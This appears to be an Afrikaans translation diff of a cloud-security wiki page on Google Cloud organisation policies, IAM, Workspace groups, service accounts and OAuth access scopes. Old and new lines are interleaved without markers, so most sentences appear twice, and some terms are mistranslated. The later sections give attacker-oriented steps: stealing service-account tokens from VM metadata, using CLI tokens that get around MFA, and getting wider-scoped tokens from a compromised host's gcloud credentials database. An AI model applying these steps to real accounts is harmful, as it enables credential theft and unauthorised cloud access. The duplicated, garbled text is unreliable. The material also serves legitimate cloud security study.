Dit is moontlik om 'n **projek sonder enige organisasie** na 'n organisasie met die toestemmings `roles/resourcemanager.projectCreator` en `roles/resourcemanager.projectMover` te **migreer**. As die projek binne 'n ander organisasie is, is dit nodig om GCP-ondersteuning te kontak om **eerstens uit die organisasie te beweeg**. Vir meer inligting, kyk na [**hierdie**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Organisasie Beleide**
Laat jou toe om beheer oor jou organisasie se wolkhulpbronne te sentraliseer:
Laat jou toe om sentrale beheer oor jou organisasie se wolkhulpbronne te :
- Sentraliseer beheer om **beperkings** te konfigureer oor hoe jou organisasie se hulpbronne gebruik kan word.
- Definieer en stel **bewakings** vir jou ontwikkelingspan in om binne nakomingsgrense te bly.
- Help projek eienaars en hul spanne om vinnig te beweeg sonder om bekommerd te wees oor die verbreking van nakoming.
- Sentrale beheer om **beperkings** te konfigureer oor hoe jou organisasie se hulpbronne gebruik kan word.
- Definieer en stel **grenslyne** vas vir jou ontwikkelingspan om binne nakomingsgrense te bly.
- Help projek eienaars en hul spanne om vinnig te beweeg sonder om bekommerd te wees oor die oortreding van nakomings.
Hierdie beleide kan geskep word om die **hele organisasie, vouer(s) of projek(te)** te **affekteer**. Afstammelinge van die geteikende hulpbron hiërargie knoop **erf die organisasie beleid**.
Hierdie beleide kan geskep word om **die hele organisasie, vouer(s) of projek(te)** te **affekteer**. Afstammelinge van die geteikende hulpbron hiërargie node **erf die organisasie beleid**.
Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), wat 'n spesifieke tipe beperking teen 'n Google Cloud diens of 'n groep Google Cloud dienste is. Jy **konfigureer daardie beperking met jou gewenste beperkings**.
Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), wat 'n spesifieke tipe beperking teenoor 'n Google Cloud diens of 'n groep Google Cloud dienste is. Jy **konfigureer daardie beperking met jou gewenste beperkings**.
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
#### Algemene gebruiksgevalle <a href="#common_use_cases" id="common_use_cases"></a>
@@ -38,6 +42,8 @@ Om 'n **organisasie beleid** te **definieer**, **kies jy 'n** [**beperking**](ht
- Beperk die fisiese ligging van nuut geskepte hulpbronne.
- Deaktiveer diensrekening skepping.
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronne gee. Vir **meer inligting, sien die** [**lys van alle Organisasie Beleid Diens beperkings**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
### **Standaard Organisasie Beleide**
@@ -48,39 +54,39 @@ Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronn
**Toegang Bestuur Beleide**
- **Domein beperkte kontakte:** Verhoed die toevoeging van gebruikers aan Essensiële Kontakte buite jou gespesifiseerde domeine. Dit beperk Essensiële Kontakte om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om platform kennisgewings te ontvang.
- **Domein beperkte deel:** Verhoed die toevoeging van gebruikers aan IAM beleide buite jou gespesifiseerde domeine. Dit beperk IAM beleide om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om toegang tot hulpbronne binne hierdie organisasie te verkry.
- **Publieke toegang voorkoming:** Verhoed dat Cloud Storage emmers aan die publiek blootgestel word. Dit verseker dat 'n ontwikkelaar nie Cloud Storage emmers kan konfigureer om nie-geverifieerde internet toegang te hê nie.
- **Uniform emmer vlak toegang:** Verhoed objek-vlak toegang beheer lyste (ACLs) in Cloud Storage emmers. Dit vereenvoudig jou toegang bestuur deur IAM beleide konsekwent oor alle objek in Cloud Storage emmers toe te pas.
- **Domein beperkte kontakte:** Voorkom die toevoeging van gebruikers aan Essensiële Kontakte buite jou gespesifiseerde domeine. Dit beperk Essensiële Kontakte om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om platform kennisgewings te ontvang.
- **Domein beperkte deling:** Voorkom die toevoeging van gebruikers aan IAM beleide buite jou gespesifiseerde domeine. Dit beperk IAM beleide om slegs bestuurde gebruikersidentiteite in jou geselekteerde domeine toe te laat om hulpbronne binne hierdie organisasie te benader.
- **Publieke toegang voorkoming:** Voorkom dat Cloud Storage emmers aan die publiek blootgestel word. Dit verseker dat 'n ontwikkelaar nie Cloud Storage emmers kan konfigureer om nie-geverifieerde internet toegang te hê nie.
- **Uniform emmer vlak toegang:** Voorkom objek-vlak toegang beheer lyste (ACLs) in Cloud Storage emmers. Dit vereenvoudig jou toegang bestuur deur IAM beleide konsekwent oor alle objek in Cloud Storage emmers toe te pas.
- **Vereis OS aanmelding:** VM's wat in nuwe projekte geskep word, sal OS Aanmelding geaktiveer hê. Dit laat jou toe om SSH toegang tot jou instansies te bestuur met behulp van IAM sonder om individuele SSH sleutels te moet skep en bestuur.
**Addisionele sekuriteitsbeleide vir diensrekeninge**
- **Deaktiveer outomatiese IAM toekennings**: Verhoed dat die standaard App Engine en Compute Engine diensrekeninge outomaties die Editor IAM rol op 'n projek by skepping toegeken word. Dit verseker dat diensrekeninge nie oormatig permissiewe IAM rolle ontvang nie.
- **Deaktiveer diensrekening sleutel skepping**: Verhoed die skepping van publieke diensrekening sleutels. Dit help om die risiko van blootstelling van volgehoue akkrediteer te verminder.
- **Deaktiveer diensrekening sleutel opgelaai**: Verhoed die opgelaai van publieke diensrekening sleutels. Dit help om die risiko van gelekte of hergebruikte sleutel materiaal te verminder.
- **Deaktiveer outomatiese IAM toekennings**: Voorkom dat die standaard App Engine en Compute Engine diensrekeninge outomaties die Redigeerder IAM rol op 'n projek by skepping toegeken word. Dit verseker dat diensrekeninge nie oormatig permissiewe IAM rolle ontvang nie.
- **Deaktiveer diensrekening sleutel skepping**: Voorkom die skepping van publieke diensrekening sleutels. Dit help om die risiko van blootstelling van volgehoue akrediteer te verminder.
- **Deaktiveer diensrekening sleutel opgelaai**: Voorkom die opgelaai van publieke diensrekening sleutels. Dit help om die risiko van gelekte of hergebruikte sleutel materiaal te verminder.
**Veilige VPC netwerk konfigurasie beleide**
- **Definieer toegelate eksterne IP's vir VM instansies**: Verhoed die skepping van Compute instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
- **Definieer toegelate eksterne IP's vir VM instansies**: Voorkom die skepping van Compute instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
* **Deaktiveer VM geneste virtualisering**: Verhoed die skepping van geneste VM's op Compute Engine VM's. Dit verminder die sekuriteitsrisiko van onopgemerk geneste VM's.
* **Deaktiveer VM geneste virtualisering**: Voorkom die skepping van geneste VM's op Compute Engine VM's. Dit verminder die sekuriteitsrisiko van onopgemerkte geneste VM's.
- **Deaktiveer VM seriële poort:** Verhoed seriële poort toegang tot Compute Engine VM's. Dit verhoed invoer na 'n bediener se seriële poort met behulp van die Compute Engine API.
- **Deaktiveer VM seriële poort:** Voorkom seriële poort toegang tot Compute Engine VM's. Dit voorkom invoer na 'n bediener se seriële poort met behulp van die Compute Engine API.
* **Beperk gemagtigde netwerke op Cloud SQL instansies:** Verhoed dat publieke of nie-interne netwerkreekse toegang tot jou Cloud SQL databasisse verkry.
* **Beperk geautoriseerde netwerke op Cloud SQL instansies:** Voorkom dat publieke of nie-interne netwerkreekse toegang tot jou Cloud SQL databasisse verkry.
- **Beperk Protokol Oorgang gebaseer op tipe IP Adres:** Verhoed VM protokol oorgang vir eksterne IP adresse.
- **Beperk Protokol Oorgang gebaseer op tipe IP Adres:** Voorkom VM protokol oorgang vir eksterne IP adresse.
* **Beperk Publieke IP toegang op Cloud SQL instansies:** Verhoed die skepping van Cloud SQL instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
* **Beperk Publieke IP toegang op Cloud SQL instansies:** Voorkom die skepping van Cloud SQL instansies met 'n publieke IP, wat hulle aan internetverkeer kan blootstel.
- **Beperk gedeelde VPC projek lien verwydering:** Verhoed die toevallige verwydering van Gedeelde VPC gasheer projekte.
- **Beperk gedeelde VPC projek lien verwydering:** Voorkom die toevallige verwydering van Gedeelde VPC gasheer projekte.
* **Stel die interne DNS instelling vir nuwe projekte op Zonal DNS Slegs:** Verhoed die gebruik van 'n erflike DNS instelling wat diens beskikbaarheid verminder het.
* **Stel die interne DNS instelling vir nuwe projekte op Zonal DNS Slegs:** Voorkom die gebruik van 'n erflike DNS instelling wat diens beskikbaarheid verminder het.
- **Slaan standaard netwerk skepping oor:** Verhoed outomatiese skepping van die standaard VPC netwerk en verwante hulpbronne. Dit vermy oormatig permissiewe standaard vuurmuur reëls.
- **Slaan standaard netwerk skepping oor:** Voorkom outomatiese skepping van die standaard VPC netwerk en verwante hulpbronne. Dit vermy oormatig permissiewe standaard vuurmuur reëls.
* **Deaktiveer VPC Eksterne IPv6 gebruik:** Verhoed die skepping van eksterne IPv6 subnetwerke, wat aan nie-gemagtigde internet toegang blootgestel kan word.
* **Deaktiveer VPC Eksterne IPv6 gebruik:** Voorkom die skepping van eksterne IPv6 subnetwerke, wat aan nie-geautoriseerde internet toegang blootgestel kan word.
</details>
@@ -88,8 +94,8 @@ Daar is baie meer beperkings wat jou fyn beheer oor jou organisasie se hulpbronn
Hierdie is soos IAM beleide in AWS aangesien **elke rol 'n stel toestemmings bevat.**
Echter, anders as in AWS, is daar **geen sentrale repo** van rolle nie. In plaas daarvan, **gee hulpbronne X toegang rolle aan Y principals**, en die enigste manier om uit te vind wie toegang tot 'n hulpbron het, is om die **`get-iam-policy` metode oor daardie hulpbron** te gebruik.\
Dit kan 'n probleem wees omdat dit beteken dat die enigste manier om uit te vind **watter toestemmings 'n principal het, is om elke hulpbron te vra aan wie dit toestemmings gee**, en 'n gebruiker mag nie toestemming hê om toestemming van alle hulpbronne te verkry nie.
Echter, anders as in AWS, is daar **geen gesentraliseerde repo** van rolle nie. In plaas daarvan, **gee hulpbronne X toegang rolle aan Y prinsipes**, en die enigste manier om uit te vind wie toegang tot 'n hulpbron het, is om die **`get-iam-policy` metode oor daardie hulpbron** te gebruik.\
Dit kan 'n probleem wees omdat dit beteken dat die enigste manier om uit te vind **watter toestemmings 'n prinsipe het, is om elke hulpbron te vra wie dit toestemming gee**, en 'n gebruiker mag nie toestemming hê om toestemming van alle hulpbronne te kry nie.
Daar is **drie tipes** rolle in IAM:
@@ -104,36 +110,23 @@ Boonop, let daarop dat **toestemmings** slegs **in werking sal tree** as hulle *
Of kyk of 'n **pasgemaakte rol 'n** [**spesifieke toestemming hier kan gebruik**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
## Gebruikers <a href="#default-credentials" id="default-credentials"></a>
In **GCP-konsol** is daar **geen gebruikers of groepe** bestuur nie, dit word in **Google Workspace** gedoen. Alhoewel jy 'n ander identiteit verskaffer in Google Workspace kan sinkroniseer.
In **GCP-konsol** is daar **geen Gebruikers of Groepe** bestuur nie, dit word in **Google Workspace** gedoen. Alhoewel jy 'n ander identiteitsverskaffer in Google Workspace kan sinkroniseer.
Jy kan toegang tot Workspaces **gebruikers en groepe in** [**https://admin.google.com**](https://admin.google.com/).
Jy kan Workspaces **gebruikers en groepe in** [**https://admin.google.com**](https://admin.google.com/) benader.
**MFA** kan **gedwonge** word vir Workspaces gebruikers, egter, 'n **aanvaller** kan 'n token gebruik om toegang tot GCP **via cli te verkry wat nie deur MFA beskerm sal word nie** (dit sal slegs deur MFA beskerm word wanneer die gebruiker aanmeld om dit te genereer: `gcloud auth login`).
**MFA** kan **gedwonge** word vir Workspaces gebruikers, egter, 'n **aanvaller** kan 'n token gebruik om GCP **via cli te benader wat nie deur MFA beskerm sal word nie** (dit sal slegs deur MFA beskerm word wanneer die gebruiker aanmeld om dit te genereer: `gcloud auth login`).
## Groepe
Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om geskep te word.** As jy enige van hulle bestuur, mag jy al of 'n belangrike deel van die organisasie gecompromitteer het:
Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om geskep te word.** As jy enige van hulle bestuur, mag jy al die of 'n belangrike deel van die organisasie gecompromitteer het:
| **Groep** | **Funksie** |
|-----------|-------------|
| **gcp-organization-admins**<br><em>(groep of individuele rekeninge benodig vir kontrolelys)</em> | Administreer enige hulpbron wat aan die organisasie behoort. Ken hierdie rol spaarzaam toe; org admins het toegang tot al jou Google Cloud hulpbronne. Alternatiewelik, omdat hierdie funksie hoogs bevoeg is, oorweeg om individuele rekeninge te gebruik in plaas van om 'n groep te skep. |
| **gcp-network-admins**<br><em>(benodig vir kontrolelys)</em> | Skep netwerke, subnetwerke, vuurmuur reëls, en netwerk toestelle soos Cloud Router, Cloud VPN, en wolk laaibalansers. |
| **gcp-billing-admins**<br><em>(benodig vir kontrolelys)</em> | Stel faktuur rekeninge op en monitor hul gebruik. |
| **gcp-developers**<br><em>(benodig vir kontrolelys)</em> | Ontwerp, kodeer, en toets toepassings. |
| **gcp-security-admins** | Stel en bestuur sekuriteitsbeleide vir die hele organisasie, insluitend toegang bestuur en <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organisasie beperking beleide</a>. Sien die <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud sekuriteitsfondasies gids</a> vir meer inligting oor die beplanning van jou Google Cloud sekuriteitsinfrastruktuur. |
| **gcp-devops** | Skep of bestuur end-to-end pype wat deurlopende integrasie en aflewering, monitering, en stelsels voorsiening ondersteun. |
| **gcp-logging-admins** | |
| **gcp-logging-viewers** | |
| **gcp-monitor-admins** | |
| **gcp-billing-viewer**<br><em>(nie meer standaard nie)</em> | Monitor die besteding op projekte. Tipiese lede is deel van die finansiële span. |
| **gcp-platform-viewer**<br><em>(nie meer standaard nie)</em> | Hersien hulpbron inligting oor die Google Cloud organisasie. |
| **gcp-security-reviewer**<br><em>(nie meer standaard nie)</em> | Hersien wolk sekuriteit. |
| **gcp-network-viewer**<br><em>(nie meer standaard nie)</em> | Hersien netwerk konfigurasies. |
| **grp-gcp-audit-viewer**<br><em>(nie meer standaard nie)</em> | Beskou oudit logs. |
| **gcp-scc-admin**<br><em>(nie meer standaard nie)</em> | Administreer Security Command Center. |
| **gcp-secrets-admin**<br><em>(nie meer standaard nie)</em> | Bestuur geheime in Secret Manager. |
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Groep</strong></td><td><strong>Funksie</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(groep of individuele rekeninge benodig vir kontrolelys)</em></td><td>Bestuur enige hulpbron wat aan die organisasie behoort. Ken hierdie rol spaarzaam toe; org admins het toegang tot al jou Google Cloud hulpbronne. Alternatiewelik, omdat hierdie funksie hoogs bevoeg is, oorweeg om individuele rekeninge te gebruik eerder as om 'n groep te skep.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Skep netwerke, subnetwerke, vuurmuur reëls, en netwerk toestelle soos Cloud Router, Cloud VPN, en wolk laaibalansers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Stel faktuur rekeninge op en monitor hul gebruik.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(benodig vir kontrolelys)</em></td><td>Ontwerp, kodeer, en toets toepassings.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Stel en bestuur sekuriteitsbeleide vir die hele organisasie, insluitend toegang bestuur en <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organisasie beperking beleide</a>. Sien die <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud sekuriteitsfondasies gids</a> vir meer inligting oor die beplanning van jou Google Cloud sekuriteitsinfrastruktuur.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Skep of bestuur end-to-end pyplyne wat deurlopende integrasie en aflewering, monitering, en stelsels voorsiening ondersteun.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Monitor die besteding op projekte. Tipiese lede is deel van die finansiële span.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend hulpbron inligting oor die Google Cloud organisasie.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend wolk sekuriteit.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Herbekend netwerk konfigurasies.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bekyk oudit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bestuur Sekuriteitsopdrag Sentrum.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(nie meer standaard nie)</em></td><td>Bestuur geheime in Secret Manager.</td></tr></tbody></table>
## **Standaard Wagwoord Beleid**
@@ -141,16 +134,20 @@ Wanneer 'n organisasie geskep word, word verskeie groepe **sterk aanbeveel om ge
- Tussen 8 en 100 karakters
- Geen hergebruik
- Geen vervaldatum
- As mense toegang tot Workspace deur 'n derdeparty verskaffer verkry, word hierdie vereistes nie toegepas nie.
- As mense toegang tot Workspace deur 'n derdeparty verskaffer, word hierdie vereistes nie toegepas nie.
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
## **Diensrekeninge**
Dit is die principals wat **hulpbronne** kan **he** **geheg** en toegang het om maklik met GCP te kommunikeer. Byvoorbeeld, dit is moontlik om toegang te verkry tot die **auth token** van 'n Diensrekening **geheg aan 'n VM** in die metadata.\
Dit is moontlik om 'n paar **konflikte** te ondervind wanneer beide **IAM en toegang skope** gebruik word. Byvoorbeeld, jou diensrekening mag die IAM rol van `compute.instanceAdmin` hê, maar die instansie wat jy gecompromitteer het, is beperk met die skopbeperking van `https://www.googleapis.com/auth/compute.readonly`. Dit sal jou verhinder om enige veranderinge te maak met die OAuth token wat outomaties aan jou instansie toegeken word.
Dit is die prinsipes wat **hulpbronne** kan **he** **geheg** en toegang het om maklik met GCP te interaksie. Byvoorbeeld, dit is moontlik om die **auth token** van 'n Diensrekening **geheg aan 'n VM** in die metadata te benader.\
Dit is moontlik om 'n paar **konflikte** te ondervind wanneer jy beide **IAM en toegang skope** gebruik. Byvoorbeeld, jou diensrekening mag die IAM rol van `compute.instanceAdmin` hê, maar die instansie wat jy gecompromitteer het, is beperk met die skopbeperking van `https://www.googleapis.com/auth/compute.readonly`. Dit sal jou verhinder om enige veranderinge te maak met die OAuth token wat outomaties aan jou instansie toegeken word.
Dit is soortgelyk aan **IAM rolle van AWS**. Maar nie soos in AWS nie, kan **enige** diensrekening aan **enige diens** geheg word (dit hoef nie via 'n beleid toegelaat te word nie).
Verskeie van die diensrekeninge wat jy sal vind, word eintlik **outomaties deur GCP gegenereer** wanneer jy 'n diens begin gebruik, soos:
Verskeie van die diensrekeninge wat jy sal vind, is eintlik **outomaties gegenereer deur GCP** wanneer jy 'n diens begin gebruik, soos:
```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
@@ -161,20 +158,20 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```
### **Sleutels & Tokens**
Daar is 2 hoof maniere om toegang tot GCP te verkry as 'n diensrekening:
Daar is 2 hoof maniere om GCP as 'n diensrekening te benader:
- **Deur OAuth tokens**: Dit is tokens wat jy sal ontvang van plekke soos metadata eindpunte of deur http versoeke te steel en hulle is beperk deur die **toegangskoppe**.
- **Sleutels**: Dit is publieke en private sleutelpare wat jou sal toelaat om versoeke as die diensrekening te teken en selfs OAuth tokens te genereer om aksies as die diensrekening uit te voer. Hierdie sleutels is gevaarlik omdat dit moeiliker is om te beperk en te beheer, daarom beveel GCP aan om hulle nie te genereer nie.
- **Via OAuth tokens**: Dit is tokens wat jy sal ontvang van plekke soos metadata eindpunte of deur http versoeke te steel en hulle is beperk deur die **toegang skope**.
- **Sleutels**: Dit is publieke en private sleutelpare wat jou sal toelaat om versoeke as die diensrekening te teken en selfs OAuth tokens te genereer om aksies as die diensrekening uit te voer. Hierdie sleutels is gevaarlik omdat dit meer ingewikkeld is om te beperk en te beheer, daarom beveel GCP aan om hulle nie te genereer nie.
- Let daarop dat elke keer as 'n SA geskep word, **GCP 'n sleutel vir die diensrekening genereer** wat die gebruiker nie kan toegang nie (en nie in die webtoepassing gelys sal word nie). Volgens [**hierdie draad**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) word hierdie sleutel **intern deur GCP gebruik** om metadata eindpunte toegang te gee om die toeganklike OAuth tokens te genereer.
### **Toegangskoppe**
### **Toegang skope**
Toegangskoppe is **aangewend op gegenereerde OAuth tokens** om toegang tot die GCP API eindpunte te verkry. Hulle **beperk die toestemmings** van die OAuth token.\
Dit beteken dat as 'n token aan 'n Eienaar van 'n hulpbron behoort, maar nie die in die token se omvang het om daardie hulpbron te benader nie, die token **nie gebruik kan word om (mis)bruik te maak van daardie voorregte** nie.
Toegang skope is **aangewend op gegenereerde OAuth tokens** om toegang tot die GCP API eindpunte te verkry. Hulle **beperk die toestemmings** van die OAuth token.\
Dit beteken dat as 'n token aan 'n Eienaar van 'n hulpbron behoort, maar nie die in die token skoop het om daardie hulpbron te benader nie, die token **nie gebruik kan word om (mis)bruik van daardie voorregte te maak nie**.
Google beveel eintlik [aan](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) dat **toegangskoppe nie gebruik word nie en heeltemal op IAM staatgemaak word**. Die webbestuursportaal handhaaf dit eintlik, maar toegangskoppe kan steeds programmaties op instansies toegepas word met behulp van persoonlike diensrekeninge.
Google beveel eintlik [aan](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) dat **toegang skope nie gebruik word nie en heeltemal op IAM staatgemaak word**. Die webbestuursportaal handhaaf dit eintlik, maar toegang skope kan steeds op instansies toegepas word deur middel van pasgemaakte diensrekeninge programmaties.
Jy kan sien watter **koppe** **toegeken** is deur **te vra:**
Jy kan sien watter **skope** **toegeken** is deur **te vra:**
```bash
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
@@ -189,13 +186,13 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
"access_type": "offline"
}
```
Die vorige **scopes** is diegene wat **default** gegenereer is met **`gcloud`** om toegang tot data te verkry. Dit is omdat wanneer jy **`gcloud`** gebruik, jy eers 'n OAuth-token skep, en dit dan gebruik om die eindpunte te kontak.
Die vorige **scopes** is diegene wat **per ongeluk** gegenereer is met **`gcloud`** om toegang tot data te verkry. Dit is omdat wanneer jy **`gcloud`** gebruik, jy eers 'n OAuth-token skep, en dit dan gebruik om die eindpunte te kontak.
Die belangrikste scope van daardie is waarskynlik **`cloud-platform`**, wat basies beteken dat dit moontlik is om **enige diens in GCP** te **toegang**.
Die belangrikste scope van hulle is waarskynlik **`cloud-platform`**, wat basies beteken dat dit moontlik is om **toegang tot enige diens in GCP** te verkry.
Jy kan **'n lys van** [**alle moontlike scopes hier vind**](https://developers.google.com/identity/protocols/googlescopes)**.**
As jy **`gcloud`** blaaierskredensies het, is dit moontlik om **'n token met ander scopes te verkry,** deur iets soos:
As jy **`gcloud`** blaaierskredensies het, is dit moontlik om **'n token met ander scopes te verkry,** deur iets soos te doen:
```bash
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
@@ -209,7 +206,7 @@ gcloud auth application-default print-access-token
```
## **Terraform IAM Beleide, Bindings en Lidmaatskappe**
Soos gedefinieer deur terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) met terraform en GCP is daar verskillende maniere om 'n prinsiep toegang tot 'n hulpbron te gee:
Soos gedefinieer deur terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) gebruik maak van terraform met GCP, is daar verskillende maniere om 'n prinsiep toegang tot 'n hulpbron te gee:
- **Lidmaatskappe**: Jy stel **prinsipes as lede van rolle** **sonder beperkings** oor die rol of die prinsipes. Jy kan 'n gebruiker as 'n lid van 'n rol stel en dan 'n groep as 'n lid van dieselfde rol stel en ook daardie prinsipes (gebruiker en groep) as lede van ander rolle stel.
- **Bindings**: Verskeie **prinsipes kan aan 'n rol gebind word**. Daardie **prinsipes kan steeds aan ander rolle gebind of lede daarvan wees**. As 'n prinsiep wat nie aan die rol gebind is nie, as **lid van 'n gebinde rol** gestel word, sal die volgende keer wanneer die **binding toegepas word, die lidmaatskap verdwyn**.